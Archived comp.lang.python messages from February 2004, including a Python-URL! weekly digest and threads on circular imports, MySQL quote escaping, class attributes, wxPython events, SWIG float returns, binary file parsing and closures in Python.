> the import of b is occuring before ClassA has been defined. 
> Is that right? How can I correct this, apart from 
> amalgamating the two into a single file?
> 
> Many thanks for any guidance.
> -- 
> http://mail.python.org/mailman/listinfo/python-list
> 




From python-url at phaseit.net  Tue Feb 24 12:16:24 2004
From: python-url at phaseit.net (Cameron Laird)
Date: Tue, 24 Feb 2004 17:16:24 -0000
Subject: Dr. Dobb's Python-URL! - weekly Python news and links (Feb 24)
Message-ID: <103n1n8l9eqp009@corp.supernews.com>

QOTW:  "They say that when you have a hammer, everything looks like a nail.
When using Python, most everything /is/ a nail." -- Josiah Carlson

"This is the main reason I stick to Tkinter. I've never seen any widget
just half as powerful as tk's canvas in any other GUI toolkit." -- Eric Brunel


    Peter Otten delightfully illustrates the Pythonic tendency
    to produce working code that yields real measurements.
	http://groups.google.com/groups?frame=left&th=ac7f9bd283710c

    Paul Prescod exemplifies why Pyrex is ascending the ranks of
    technologies for getting Python and C to play together nicely.
	http://groups.google.com/groups?frame=left&th=79252f24885fe186

    The Docutils sprint, just over three weeks away, will be
    one of the most memorable events of the year for Pythonia.
	  http://groups.google.com/groups?th=645ec14597a6df18
    The Stackless sprint's only two weeks away.
	http://groups.google.com/groups?frame=left&th=c3809a2bd1674872
    
    Christian Tismer makes new Win32 Python 2.3 Stackless 3.0
    binaries available on the Stackless web site.
        http://groups.google.com/groups?selm=mailman.145.1077390882.27104.python-list%40python.org

    "Freshlogic announces IIS2Zope, which serves Zope and Plone
    behind IIS using fast ISAPI action.  Those of us who want,
    or must, run Microsoft IIS have not until now had an elegant
    or efficient solution for serving Zope."
        http://mail.zope.org/pipermail/zope-announce/2004-February/001371.html
    
    Py magazine continues to prowl for new articles and authors. 
        http://mail.python.org/pipermail/python-announce-list/2004-February/002902.html
    
    A remote debugger for Python 2.3.3 can be found at
        http://ziaran.freehosting.net/
    "I started learning Python 3 weeks ago, and was trying to
    implement an academic exercise for that purpose, but alas
    I had a bug in my implementation ...  I decided to modify
    pdb for my needs."
        http://groups.google.com/groups?selm=4039464f%40news.bezeqint.net
    
    Thanks to Laura Creighton for this treat from the archives:
    "How to shoot yourself in the foot with Python":
        http://groups.google.com/groups?selm=slrna0f23p.511.QnickQm%40h00104b6bfa23.ne.mediaone.net

    Does the eruption of interest in Python-based "parsers"
    reflect academic adoption of the language for classroom
    use?  In any case, here's the most helpful of several
    recent threads on the theme.
	http://groups.google.com/groups?frame=left&th=d2bbbf0a84efcd08

    Leo's enthusiasts are *very* enthuisastic.
	http://groups.google.com/groups?frame=left&th=9e0dc9b0ca19d10f

    Yes, yes, but can Python be trusted in SERIOUS programs?
    Well, BEA takes in almost a billion dollars annually of
    Very Serious money, and *they* seem comfortable relying
    on Python.
	http://dev2dev.bea.com/codelibrary/code/wlst.jsp

    Keep an eye on the Daily Python URL (see below), whose
    activity has recently spiked.

========================================================================
Everything Python-related you want is probably one or two clicks away in
these pages:

    Python.org's Python Language Website is the traditional
    center of Pythonia
        http://www.python.org
    Notice especially the master FAQ
        http://www.python.org/doc/FAQ.html

    PythonWare complements the digest you're reading with the
    marvelous daily python url
         http://www.pythonware.com/daily  
    Mygale is a news-gathering webcrawler that specializes in (new)
    World-Wide Web articles related to Python.
         http://www.awaretek.com/nowak/mygale.html 
    While cosmetically similar, Mygale and the Daily Python-URL
    are utterly different in their technologies and generally in
    their results.

    comp.lang.python.announce announces new Python software.  Be
    sure to scan this newly-revitalized newsgroup at least weekly.
        http://groups.google.com/groups?oi=djq&as_ugroup=comp.lang.python.announce

    Brett Cannon continues the marvelous tradition established by 
    Andrew Kuchling and Michael Hudson of intelligently summarizing
    action on the python-dev mailing list once every other week.
	http://www.python.org/dev/summary/

    The Python Package Index catalogues packages.
        http://www.python.org/pypi/

    The somewhat older Vaults of Parnassus ambitiously collects references
    to all sorts of Python resources.
        http://www.vex.net/~x/parnassus/   

    Much of Python's real work takes place on Special-Interest Group
    mailing lists
        http://www.python.org/sigs/

    The Python Business Forum "further[s] the interests of companies
    that base their business on ... Python."
	http://www.python-in-business.org

    The Python Software Foundation (PSF) has replaced the Python
    Consortium as an independent nexus of activity.  It has official
    responsibility for Python's development and maintenance. 
        http://www.python.org/psf/
    Among the ways you can support PSF is with a donation.
        http://www.python.org/psf/donate.html

    Cetus collects Python hyperlinks.
        http://www.cetus-links.org/oo_python.html

    Python FAQTS
        http://python.faqts.com/

    The Cookbook is a collaborative effort to capture useful and
    interesting recipes.
	http://aspn.activestate.com/ASPN/Cookbook/Python

    Among several Python-oriented RSS/RDF feeds available are
	http://www.python.org/channews.rdf
	http://bootleg-rss.g-blog.net/pythonware_com_daily.pcgi
	http://python.de/backend.php
    For more, see
	http://www.syndic8.com/feedlist.php?ShowMatch=python&ShowStatus=all
    The old Python "To-Do List" now lives principally in a
    SourceForge reincarnation.
        http://sourceforge.net/tracker/?atid=355470&group_id=5470&func=browse
        http://python.sourceforge.net/peps/pep-0042.html
     
    The online Python Journal is posted at pythonjournal.cognizor.com.
    editor at pythonjournal.com and editor at pythonjournal.cognizor.com
    welcome submission of material that helps people's understanding
    of Python use, and offer Web presentation of your work.

    *Py: the Journal of the Python Language*
        http://www.pyzine.com

    Archive probing tricks of the trade:
        http://groups.google.com/groups?oi=djq&as_ugroup=comp.lang.python&num=100
        http://groups.google.com/groups?meta=site%3Dgroups%26group%3Dcomp.lang.python.*

Previous - (U)se the (R)esource, (L)uke! - messages are listed here:
  http://www.ddj.com/topics/pythonurl/         
  http://purl.org/thecliff/python/url.html (dormant)
or
  http://groups.google.com/groups?oi=djq&as_q=+Python-URL!&as_ugroup=comp.lang.python


Suggestions/corrections for next week's posting are always welcome.
E-mail to <Python-URL at phaseit.net> should get through.

To receive a new issue of this posting in e-mail each Monday morning
(approximately), ask <claird at phaseit.net> to subscribe.  Mention
"Python-URL!".


-- The Python-URL! Team--

Dr. Dobb's Journal (http://www.ddj.com) is pleased to participate in and
sponsor the "Python-URL!" project.



From wweston at att.net  Thu Feb 26 10:32:57 2004
From: wweston at att.net (wes weston)
Date: Thu, 26 Feb 2004 15:32:57 GMT
Subject: error in inserting a long blob data
In-Reply-To: <f046efac.0402252202.3e79d90c@posting.google.com>
References: <f046efac.0402242139.14fd27fc@posting.google.com>
	<c1ht2m$u7c$01$2@news.t-online.com>
	<f046efac.0402252202.3e79d90c@posting.google.com>
Message-ID: <Jko%b.45603$aH3.1415234@bgtnsc04-news.ops.worldnet.att.net>

Diez,
    From your error, you have a DB driver problem. MySql
says to use something like 'they''re' - double up the
inner '


ketulp_baroda at yahoo.com wrote:
> "Diez B. Roggisch" <deets_noospaam at web.de> wrote in message news:<c1ht2m$u7c$01$2 at news.t-online.com>...
> 
>>>values['attachmentpath'] contains the file data.
>>>The data type of the file data is LONGBLOB in MySql.
>>>I am not getting why it works for some file but not for others.
>>
>>Do you have single quotes in your attachment - these would confuse the mysql
>>parser. I don't remember how to quote them for mysql (in oracle its '' for
>>a single quote) - but thats in the manuals.
> 
> 
> How to escape such sequences in python



From jcarlson at nospam.uci.edu  Mon Feb  2 16:55:44 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Mon, 02 Feb 2004 13:55:44 -0800
Subject: PEP 327: Decimal Data Type
In-Reply-To: <7jz58j30.fsf@yahoo.co.uk>
References: <mailman.1054.1075487007.12720.python-list@python.org>
	<bvef14$919$1@news.service.uci.edu>
	<ad052e5c.0401310101.1c5bd5aa@posting.google.com>
	<h6um10dknflfcgt3id6tril2fs3lbb3vsq@4ax.com>
	<bvgp4j$dp2$1@news.service.uci.edu>
	<jvtn10177itao5m0lgt25bofut9h5qj4c6@4ax.com>
	<bvjj49$c94$1@news.service.uci.edu> <7jz58j30.fsf@yahoo.co.uk>
Message-ID: <bvmh58$4hc$1@news.service.uci.edu>


> But if you normalise every time, some theoretically simple operations
> can become relatively very expensive in terms of time. (Basically,
> things like addition, which suddenly require a GCD calculation).

If we are to take cues from standard Python numeric types, any 
mathematical calculation results in a new immutable object.  Thusly, 
only normalizing on initialization is sufficient.  Since that is the 
only time you ever get anything new, doing GCD on initialization is the 
minimum and maximum requirement.

  - Josiah


From __peter__ at web.de  Sun Feb 22 03:14:30 2004
From: __peter__ at web.de (Peter Otten)
Date: Sun, 22 Feb 2004 09:14:30 +0100
Subject: list of class instances within a list of a class instances
References: <mailman.155.1077429606.27104.python-list@python.org>
Message-ID: <c19od7$s9f$07$1@news.t-online.com>

John Wohlbier wrote:

> class primaryClass:

Remove the following two lines. Variables you put here are shared between
all instances of the class.

>      name=""
>      sClasses = []
> 
>      def __init__(self,name):
           self.sClasses = [] # now you'll get a new list for each instance
>          self.name = name
>          self.sClasses.append(subClass("default"))
>
###############################################################################
> class subClass:

The following line is superfluous.

>      name=""
> 
>      def __init__(self,name):
>          self.name = name
> 
>
###############################################################################

> 
> 
> port = [] # make a list
> port.append(primaryClass("firstclass"))
> 
> print 'port contents'

More idiomatic is:
for p in port:
    print p.name
    for s in s.sClasses:
        #...
Or, if you really need the indices:

for i, p in enumerate(port):
    print i, p.name
    #...

> for i in range(len(port)):
>      print i, port[i].name
>      for j in range(len(port[i].sClasses)):
>          print i, j, port[i].sClasses[j].name
> 
> port.append(primaryClass("secondclass"))

Hey, I've seen the following section before. Never duplicate code - that's
what functions are for.

> print 'port contents'
> for i in range(len(port)):
>      print i, port[i].name
>      for j in range(len(port[i].sClasses)):
>          print i, j, port[i].sClasses[j].name
> 
> port.append(primaryClass("thirdclass"))
> print 'port contents'
> for i in range(len(port)):
>      print i, port[i].name
>      for j in range(len(port[i].sClasses)):
>          print i, j, port[i].sClasses[j].name


Peter



From steve at ninereeds.fsnet.co.uk  Fri Feb 27 19:33:41 2004
From: steve at ninereeds.fsnet.co.uk (Stephen Horne)
Date: Sat, 28 Feb 2004 00:33:41 +0000
Subject: I just don't get it
References: <3b3f63ed.0402271516.55d3781e@posting.google.com>
	<dulv30p01nu6gmhc2r8q0jdnqdv2dnsdcd@4ax.com>
Message-ID: <mcnv30h8h6ltc9370gf7all5mj58j4mjf0@4ax.com>

On Sat, 28 Feb 2004 00:14:29 +0000, Stephen Horne
<steve at ninereeds.fsnet.co.uk> wrote:

>If Python started trying to guess your intentions, and assumed that
>you really meant to compare the values, a whole load of quite basic
>things wouldn't work.

Just thought I'd chuck in a different example of what could happen if
Python started second guessing intentions.

  (1,) == 1 .......... the numbers are both 1, after all

  (1,) == () ......... maybe you're just checking they're both
                       tuples, after all?

But then for both those to be true, you also get...

  1 == () ............ because 1 == (1,) == ()
  2 == () ............ because 2 == (2,) == () by the same logic

  1 == 2 ............. because 1 == () == 2


In short, you either have to live with inconsistencies in ordering
relationships that break standard algorithms and lead to all kinds of
unexpected problems in any program over about 100 lines of code, or
you have the ultimate egalitarian society of objects where every
object is equal to every other object, irrespective of value or
anything else.

Neither seems attractive to me.


-- 
Steve Horne

steve at ninereeds dot fsnet dot co dot uk


From ZZZ-ialbert-ZZZ at mailblocks-ZZZ.com-ZZZ  Sat Feb 14 19:12:02 2004
From: ZZZ-ialbert-ZZZ at mailblocks-ZZZ.com-ZZZ (Istvan Albert)
Date: Sat, 14 Feb 2004 19:12:02 -0500
Subject: [ANN] Atox 0.2 released
In-Reply-To: <2c60f0e0.0402141444.3d0b785f@posting.google.com>
References: <slrnc2qk2c.9li.mlh@furu.idi.ntnu.no>
	<2c60f0e0.0402141444.3d0b785f@posting.google.com>
Message-ID: <yfidnROF5MbLJLPdRVn-ug@giganews.com>

Richard James wrote:

> But, I wasted a lot of valuable time and credibility trying to sell
> NOGUI uh... ANYGUI for in house rapid MS Windows gui development to my
> boss and co-workers.
> 
> I don't know how many times I said: I'm sure the next release is just
> around the corner. And it will run on ANY gui that our customers have
> installed!!!!!

The question that pops into one's mind here is why would you promise
things that are completely out of your control? I understand your
frustration with unfinished or dead projects but let's remember that
for each successful project there will be hundreds that die off and there
is nothing wrong with that. Survival of the fittest.

i.




From secchi at sssup.it  Wed Feb 25 14:56:57 2004
From: secchi at sssup.it (Angelo Secchi)
Date: Wed, 25 Feb 2004 20:56:57 +0100
Subject: Newbie lost(new info)
In-Reply-To: <403ce031$0$12853$3a628fcd@reader1.nntp.hccnet.nl>
References: <mailman.113.1077727206.8594.python-list@python.org>
	<403ce031$0$12853$3a628fcd@reader1.nntp.hccnet.nl>
Message-ID: <20040225205657.76f2da5d.secchi@sssup.it>


I checked with a statistical software(SAS) and I was able to convert my
file using as a format something called s370frb4. that according to its
manual should correspond to a float in C and to a REAL*4 in fortran. Now
I know that the first 3 numbers in the binary part should be exactly: 
 

15612852 	0	 0

I also notice using struct module that

>>> struct.pack('i',15612852)
    '\xb4;\xee\x00'

>>> struct.pack('i',0 )
    '\x00\x00\x00\x00'


not very different (just the order and the F around) from the beginning
of the binary part of my file

13510010222010341341F\xee;\xb4\x00\x00\x00\x00\x00\x00\x00\x00F]\xe3\x9
a\x00


Can these infos help anybody to help me?
Thanks again hoping to be able to throe away any proprietary sofware...
Angelo




On Wed, 25 Feb 2004 18:49:27 +0100
anton at vredegoor.doge.nl (Anton Vredegoor) wrote:

> Angelo Secchi <secchi at sssup.it> wrote:
> 
> >
> >I'm fighting with a binary file and I am definitely lost.
> >I know that each line of the file has a first part that is a string
> >with length 113 and then that there is a group of identical fields. I
> >do not know the precise format of these fields even if I know that
> >the file was created on an IBM Mainframe and that in the binary part
> >there should be 223 fields with the same width 4.
> >Just to give you an idea if I read the first line of my file  as a
> >string I obtain something like (just a small part of the first line):
> >
> >13510010222010341341F\xee;\xb4\x00\x00\x00\x00\x00\x00\x00\x00F]\xe3
> >\x9 a\x00
> >
> >
> >Still I am not able to convert this binary. Can anybody give some
> >advices?
> 
> The string above contains escape sequences, so sometimes four
> characters correspond to one byte, sometimes a char is just a byte.
> This is not really present in the file but just an artifact of the way
> you chose to print it. In order to gain more insight:
> 
> #open the file in binary mode e.g: 
> inf = file('somefile','rb')
> 
> #read 1 line e.g:
> line = inf.readline()
> 
> #turn this line into a list of characters:
> L = list(line)
> 
> #Inspect the list L and come back here with further questions,
> #if you have any :-)
> print L
> 
> Anton
> 
> 
> 
> 
> 
> -- 
> http://mail.python.org/mailman/listinfo/python-list


--
========================================================
 Angelo Secchi                     PGP Key ID:EA280337
========================================================
  Current Position:
  Graduate Fellow Scuola Superiore S.Anna
  Piazza Martiri della Liberta' 33, Pisa, 56127 Italy
  ph.: +39 050 883365
  email: secchi at sssup.it	www.sssup.it/~secchi/
========================================================



From bkelley at wi.mit.edu  Thu Feb 19 20:12:56 2004
From: bkelley at wi.mit.edu (Brian Kelley)
Date: Fri, 20 Feb 2004 01:12:56 GMT
Subject: wxGlade
In-Reply-To: <5r831c.qsb.ln@berryworld.de>
References: <5d3Zb.342281$_P.11746432@news4.tin.it>
	<5r831c.qsb.ln@berryworld.de>
Message-ID: <radZb.361240$na.539422@attbi_s04>

Markus Faltin wrote:
> I'm a newbie regarding wxPython, nevertheless I worked this out:
> 
> 
>>class MyFrame(wxFrame):
>>     def __init__(self, *args, **kwds):
>>         # begin wxGlade: MyFrame.__init__
>>         kwds["style"] = wxDEFAULT_FRAME_STYLE
>>         wxFrame.__init__(self, *args, **kwds)
>>         self.button_1 = wxButton(self, -1, "button_1")
>>         self.__set_properties()
>>         self.__do_layout()
>>         # end wxGlade
>>         EVT_BUTTON(self, 1003, self.event)
> 
> 
> You have to set the identifier of the button:
>           self.button_1 = wxButton(self, 1003, "button_1")

Not necessarily,  you can keep the -1 designation and then
EVT_BUTTON(self, self.button_1.GetId(), self.event)

I prefer this method since it is less book keeping for me.

Brian Kelley



From paul at fxtech.com  Thu Feb 19 14:21:26 2004
From: paul at fxtech.com (Paul Miller)
Date: Thu, 19 Feb 2004 13:21:26 -0600
Subject: PyImport_Import
In-Reply-To: <015801c3f71a$7b185b30$2601a8c0@hq.novamens.com>
References: <015801c3f71a$7b185b30$2601a8c0@hq.novamens.com>
Message-ID: <6.0.1.1.2.20040219132051.02dffec0@mail.fxtech.com>


>How can I force to unload the old module so PyImport_Import function loads
>the new contents of the file?

Have you tried PyImport_ReloadModule()?

Try it right after importing the module the second time.







From castor at snafu.de  Fri Feb 20 17:45:02 2004
From: castor at snafu.de (wolf)
Date: 20 Feb 2004 14:45:02 -0800
Subject: running fastcgi on windows?
Message-ID: <6fa5f178.0402201445.59e35121@posting.google.com>

i have without any success tried hard to get python
scripts running under apache on windows using fastcgi.
it is totally unclear to me what role the adaption
script http://alldunn.com/python/fcgi.py plays, or
exactly what directives i have to use in which places.
given the promises of fastcgi, its wide deployment and
good standing, this is sort of, well, disappointing. can
anyone substantially help here? my suspicion is that
fcgi.py will not run under windows at all, because the
modified version of the same script deployed with
quixote says, on lines 380ff, "This function won't work
on Windows at all." What can i do?

helplessly, 

_wolf


From joe at notcharles.ca  Thu Feb 19 02:26:04 2004
From: joe at notcharles.ca (Joe Mason)
Date: Thu, 19 Feb 2004 07:26:04 GMT
Subject: PEP-0315--Enhanced While Loop: An idea for an alternative syntax
References: <XACYb.41933$hR.981878@bgtnsc05-news.ops.worldnet.att.net>
	<7x65e4j3oa.fsf@ruckus.brouhaha.com>
	<4033084D.1AEA1ADA@alcyone.com>
	<7xwu6khofz.fsf@ruckus.brouhaha.com>
	<cfKYb.44192$hR.1014416@bgtnsc05-news.ops.worldnet.att.net>
	<mailman.29.1077136563.27104.python-list@python.org>
	<7x7jyk2hu9.fsf@ruckus.brouhaha.com>
	<slrnc386fn.2u8.joe@gate.notcharles.ca>
	<7xd68bzs79.fsf@ruckus.brouhaha.com>
Message-ID: <slrnc38nmb.3g8.joe@gate.notcharles.ca>

In article <7xd68bzs79.fsf at ruckus.brouhaha.com>, Paul Rubin wrote:
> Joe Mason <joe at notcharles.ca> writes:
>> > There's nothing implicit about an assignment expression.
>> 
>> Except the return value.
> 
> Huh?  It's an expression, the value is explicit.

x = 1 (or x := 1) looks to me like a statement that sets x to 1, not an
expression.  I wouldn't expect any return value, if my mind hadn't been
corrupted by C.  So the fact that there's a return value at all is
implicit.

Joe


From blk at srasys.co.in  Mon Feb  2 02:54:44 2004
From: blk at srasys.co.in (bala)
Date: Mon, 2 Feb 2004 13:24:44 +0530
Subject: How to include schema while creating an xml file
Message-ID: <004f01c3e961$d31c90b0$440210ac@Bala>

Hi,
    How to include schema while creating an xmlfile..

Regards
Bala
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From no at spam.invalid  Mon Feb 23 12:28:26 2004
From: no at spam.invalid (Russell E. Owen)
Date: Mon, 23 Feb 2004 09:28:26 -0800
Subject: Complex Nested Dictionaries
References: <40354c35@news.bmi.net> <c15mko$c2g$1@nntp6.u.washington.edu>
	<4036a303@news.bmi.net>
Message-ID: <c1dd7r$do6$1@nntp6.u.washington.edu>

In article <4036a303 at news.bmi.net>, "T. Earle" <tnospamwade at bmi.net> 
wrote:

>Russell,
>
>> If you really only want to look up data by headline, then a dictionary
>> of dictionaries or nested lists or some other kind of collection is easy
>> and should suffice. For instance:
>> warndict["High Wind Warning"] = (
>>     (time1, {
>>         state1: (zone1, zone2, zone3),
>>         state2: (zone1, zone3),
>>     }),
>>     (time2, {...}),
>> )
>
>This definitely seems to be the structure I've been looking for or at least
>have in mind.  Since I'm no expert, could offer some code examples on how to
>create this structure on the fly?
>
>> However, I suspect you will also want to be able to locate data by
>> state, time or zone. If that is true, I really think you should consider
>> storing the data in a relational database. It sounds like a perfect
>> match to your problem. Python has some nice interfaces to various
>> databases (including PostgreSQL and MySQL).
>
>My first inclination was to go with a database; however, I thought about it
>and concluded there may be too much variability each time the program is
>executed.  For example, there will be times when there are no headlines;
>other times, there will be numerous headlines.  Because of this variability,
>the database would have to be created from scratch each time the program is
>ran.  As a result, would a database still be the right choice?
>
>I really appreciate your help and suggestions

Regarding a database: if you are mainly interested in fairly current 
events (rather than being able to go back and search for old events) and 
you don't have a huge # of events, then a database does seem "overkill". 

However, if you have a lot of events or want to do a lot of searching, 
it may be worth keeping a database around. If you use a database, I 
recommend creating only one of them. Just add new events, and 
occasionally purge old data if you don't care about it anymore.

Here is some sample code (untested) to create the structure shown above. 
I assume a simple (for me) structure for the input data; modify 
addHealine accordingly if your data needs more massaging first.

This code exposes the internal data, because the class is itself the 
dictionary of data. Whether or not this is a good idea depends on how 
you want to search for data. If the built in dict methods are of 
interest, then you are all set. If not, I would make HeadDict *contain* 
a dict instead of *being* a dict, then write your own methods to 
retrieve data.

- Download the RO package from http://astro.washington.edu/owen and install it in site-packages
or anywhere on your PythonPath. RO includes RO.Alg.ListDict, which 
supports a dictionary whose values are a list and for which the 
expression md[key] = value appends "value" to the list associated with 
"key", creating a new list if "key" doesn't already exist.

import RO.Alg

class HeadDict(RO.Alg.ListDict):
    def addHeadline(self, headline, time, stateZoneList)
        """Add a headline for a given time. stateZoneList is of the form:
        ((state1, zones_for_state1), (state2, zones_for_state2), ...)
        """
        stateZoneDict = dict(stateZoneList)
        self[headline] = (time, stateZoneDict)

warndict = HeadDict()
warnDict.addHeadline("High Wind Warning", time1, stateZoneList1)
warnDict.addHeadline("High Wind Warning", time2, stateZoneList2)

-- Russell


From paul at boddie.net  Fri Feb 13 04:03:55 2004
From: paul at boddie.net (Paul Boddie)
Date: 13 Feb 2004 01:03:55 -0800
Subject: Python and MS Exchange
References: <mailman.12.1076608969.698.python-list@python.org>
	<c0gt44$o7j$1@arachne.labyrinth.net.au>
Message-ID: <23891c90.0402130103.26cf8229@posting.google.com>

Mark Hammond <mhammond at skippinet.com.au> wrote in message news:<c0gt44$o7j$1 at arachne.labyrinth.net.au>...
> 
> Check out the SpamBayes project, and look at the source code to the 
> Outlook Addin - in general, this uses MAPI (which is basically the 
> 'exchange object model'), but also does a few things via the Outlook 
> object model - so you get a few examples of both.  MAPI has a bigger 
> learning curve, but is more powerful and faster.

And Outlook Explorer might also be useful as a starting point:

  http://www.boddie.org.uk/python/COM.html

There's just archiving going on in that program, but it could be more
productive to look at its source code than it is to swim in the MSDN
documentation.

Paul


From eadorio at yahoo.com  Wed Feb 11 05:14:01 2004
From: eadorio at yahoo.com (Ernie)
Date: 11 Feb 2004 02:14:01 -0800
Subject: swig: conversion of C double to Python float
Message-ID: <5b42ae4.0402110214.60e7cee@posting.google.com>

Hi,

I am learning swig to use C codes from Python. 

Here is the swig file mvf.i:
 %module mvf
 %include "carrays.i"
 %array_class(double, doubleArray);
 %typemap(out) double, float "$result = PyFloat_FromDouble($1);"
 %include mvf.h

Here is the mvf.c file  
 #include <stdio.h>
 double SumSquares(int n, double x[])  
 {
   double sum;
   int i;
   for (sum = 0.0, i = 0; i < n; i++) sum += x[i]*x[i];
   printf("DEBUG: %f\n", sum);
   return sum;
 }

The mvf.h file has the single line:
  double SumSquares(int n, double x[]);

Here is a script mvf.sh to create the _mvf.so file:
  swig -python mvf.i
  gcc -fpic -c mvf.c mvf_wrap.c -I/usr/local/include/python2.3
  gcc -shared mvf_wrap.o mvf.o -lm -O3 -o _mvf.so

and finally the Python test:

Python 2.3.3 (#1, Feb  4 2004, 13:34:29)
[GCC 3.3.1 (Mandrake Linux 9.2 3.3.1-2mdk)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import mvf           
>>> a = mvf.doubleArray(2) 
>>> a[0] = 1.0; a[1] = 2.0;
>>> mvf.SumSquares(2, a)
DEBUGGING: 5.000000    # C code ok!
0.0                    # !!!??? ... expecting a 5.0
>>> 

What could have gone wrong?

TIA,

Ernie


From arosado at softhome.net  Tue Feb 24 17:35:48 2004
From: arosado at softhome.net (Andres Rosado-Sepulveda)
Date: Tue, 24 Feb 2004 17:35:48 -0500
Subject: Thoughts about Python
In-Reply-To: <15c2d03b.0402241314.726c6688@posting.google.com>
References: <15c2d03b.0402240311.395f5382@posting.google.com>
	<m3ad38hcu4.fsf@pc150.maths.bris.ac.uk>
	<15c2d03b.0402241314.726c6688@posting.google.com>
Message-ID: <c1gg1h$1j10o4$1@ID-203388.news.uni-berlin.de>

Marco Aschwanden wrote:
>>>*** Problem: tuples are not necessary
>>
>>Says you!  Here's a hint: hash([]).
>>
>>[...]
> 
> 
> I suppose this is the argument: list are not immutable that is why
> they cannot be used a dict key... I wonder how many people use a tuple
> as dict key. This seems to be a common practice to justify its own
> "type". I admit, I can think of simple workarounds when there wouldn't
> be tuples (eg. Instead of transforming a list into tuple why not
> transforming it into a string).

I sometimes I use it. Especially if I use dates, where it makes sorting 
so much easier. But it does have its usefulness.

Transforming a list to a string is not very good, because tuples may 
contain user-defined classes that overwrite __lt__ and not __str__.

-- 
Andres Rosado
Email: andresr at despammed.com
ICQ: 66750646
AIM: pantear
Homepage: http://andres980.tripod.com/

Random Thought:
 >
I'm just as sad as sad can be!
     I've missed your special date.
Please say that you're not mad at me
     My tax return is late.
         -- Modern Lines for Modern Greeting Cards


From simoninusa2001 at yahoo.co.uk  Fri Feb 27 14:11:46 2004
From: simoninusa2001 at yahoo.co.uk (simo)
Date: 27 Feb 2004 11:11:46 -0800
Subject: wxPython tutorial?
References: <36965e8.0402262255.122d167f@posting.google.com>
Message-ID: <30260531.0402271111.2053ea8b@posting.google.com>

jdadson at yahoo.com (Jive Dadson) wrote:
> I'm trying (without conspicuous success) to start learning
> wxPython.  Sooo... I opened the doc page wxPythonManual.html#wxpython-overview.
> The very first example does not work.  Try it.  I find much of what follows
> to be incomprehensible.  Is there a good tutorial for novices?
> 
> Here's the example that does not work.  ("No module named frame")

Probably a bit out-of-date, not using the wx namespace (wxFrame).

Here's a good tutorial: http://wxpython.org/tutorial.php

Which is from http://wiki.wxpython.org/index.cgi/How_20to_20Learn_20wxPython

All I needed, and much better than TKinter, although I've since moved onto PyQt.


From jacek.generowicz at cern.ch  Thu Feb 26 03:28:01 2004
From: jacek.generowicz at cern.ch (Jacek Generowicz)
Date: 26 Feb 2004 09:28:01 +0100
Subject: Some language proposals.
References: <slrnc3mss6.pob.apardon@trout.vub.ac.be>
	<mailman.58.1077649530.8594.python-list@python.org>
	<tyfbrnno9e2.fsf@pcepsft001.cern.ch>
	<mailman.88.1077699734.8594.python-list@python.org>
	<tyf1xojnzwp.fsf@pcepsft001.cern.ch>
	<m34qtffidu.fsf@pc150.maths.bris.ac.uk>
	<tyfwu6bmfhx.fsf@pcepsft001.cern.ch>
	<m3vflvdo9u.fsf@pc150.maths.bris.ac.uk>
Message-ID: <tyfk72amei6.fsf@pcepsft001.cern.ch>

Michael Hudson <mwh at python.net> writes:

> Jacek Generowicz <jacek.generowicz at cern.ch> writes:
> 
> > Aaah, OK, _if_ you think that closures are _only_ a way of faking
> > objects, _then_ claiming that Python is primarily OO does have a
> > bearing on the use of closures. Forgive me for not pursuing
> > this tangent any further.
> 
> OK, you really hadn't seen this argument before.  You must be new here
> :-) (or at least, new to this particular dispute).

Yes, I usually switch off rather early in the "Python purity vs
whatever" threads, and the "The current state of Python is programming
language Nirvana" threads. You see, I use Python because it lets me
gets certain jobs done easily and enjoyably, and don't really much
care for language patriotism. I will fiercely defend Python on its
merits (which are legion), but that does not preclude me from
sometimes noting that it would be handy if something were different
than it is right now.

My contribution to this thread started with a question: I paraphrase
"why are Python closures read only?". Paul gave me an answer which has
some merit and I am satisfied with that answer. Frankly, I have no
time for, or interest in discussing how often I should on should not be
using closures in Python. When they are convenient for me, I will use
them, and when callable instances are more convenient, I will use
those, regardless of what you and Paul might say, so there,
na-na-na-naaa-naaah !

> (trivially, you never *need* closures, just the same as you don't
> *need* objects, there's a rather dull and unhelpful isomorphism
> between the two concepts).

Yes, and we all know about Turing equivalence too. So we don't need
Python at all.

> > Sure. I have some stateful methods of classes (which I create
> > dynamically and stick onto the class as the information about the
> > existence of the method becomes available). By implementing them as
> > closures I can just stick them on to the class. If I were to implement
> > them as instances then I'd have to reimplement all the descriptors
> > that take care of turning functions into bound or unbound methods.
> 
> Which isn't that hard...

It's not hard, but it's pointless, when there are ways of getting it
for free.

> I think a code example might lend a bit more clarity.

What's unclear about it?  I get the impression that you understand
exactly what the point is.

>>> class foo: pass
... 
>>> class callable:
...     def __call__(self): print self
... 
>>> instance = callable()
>>> def meth(self): print self
... 
>>> foo.meth = meth
>>> foo.instance = instance
>>> f = foo()
>>> f
<__main__.foo instance at 0x815fa64>
>>> f.meth()
<__main__.foo instance at 0x815fa64>  # self == f  
>>> f.instance()
<__main__.callable instance at 0x815f624>  # self != f
>>> f.meth
<bound method foo.meth of <__main__.foo instance at 0x815fa64>>
>>> f.instance
<__main__.callable instance at 0x815f624>  # Hmm, it's not a method
>>> 

meth behaves like a Python method, instance does not.

> > [At this point I'd love someone to step up and show me how to re-use
> > the existing FunctionType descriptors in my own classes.]
> 
> Post some code, and I'll have a go.

Find some way of making callable [from above] use
types.FunctionType.__get__.  I don't see what code examples could
possibly help in specifying the problem more clearly (unless the code
is the solution, of course).

But please don't bother unless you really want to do it for your own
entertainment. My not having found a way to do it, is in no way
stopping me from achieving my goals. (Which is more than can be said
for contributing to this thread :-) There being perfectly viable
alternatives to doing it, means that I haven't invested much time in
finding an answer, so it may well be that there is as simple solution.

> > Another example. I make quite heavy use of a trivial memoizer. The
> > closure verison is much shorter, clearer and faster.
> 
> I'll grant you this: I've done the same.

That's my point. Closures are there, sometimes they are more
appropriate than instances, so use them. No point in discussing the
merits and demerits of the two alternatives and pontificating on what
is Pythonic or not.

> > (I want it to be writeable because I sometimes want to 'prime' the
> > cache, or do other things to it ... so I'm giving myself access to
> > the cache by binding the cache as a function attribute of the
> > closure, before returning it from the memoizer)
> 
> Um, here, unless I misunderstand you, you don't want to mutate the
> closed over binding (which is what Python currently doesn't let you
> do) but mutate the object the closed over binding is bound to.  In
> this respect, Python is no different from anything else, you need to
> arrange some way to expose said object outside the closure.
> 
> What am I missing?

Nothing. It was an inappropriate example.

> > In short, whenever I want a _function_ which happens to have some
> > internal state, I'd much rather use a closure than an instance of a
> > class.
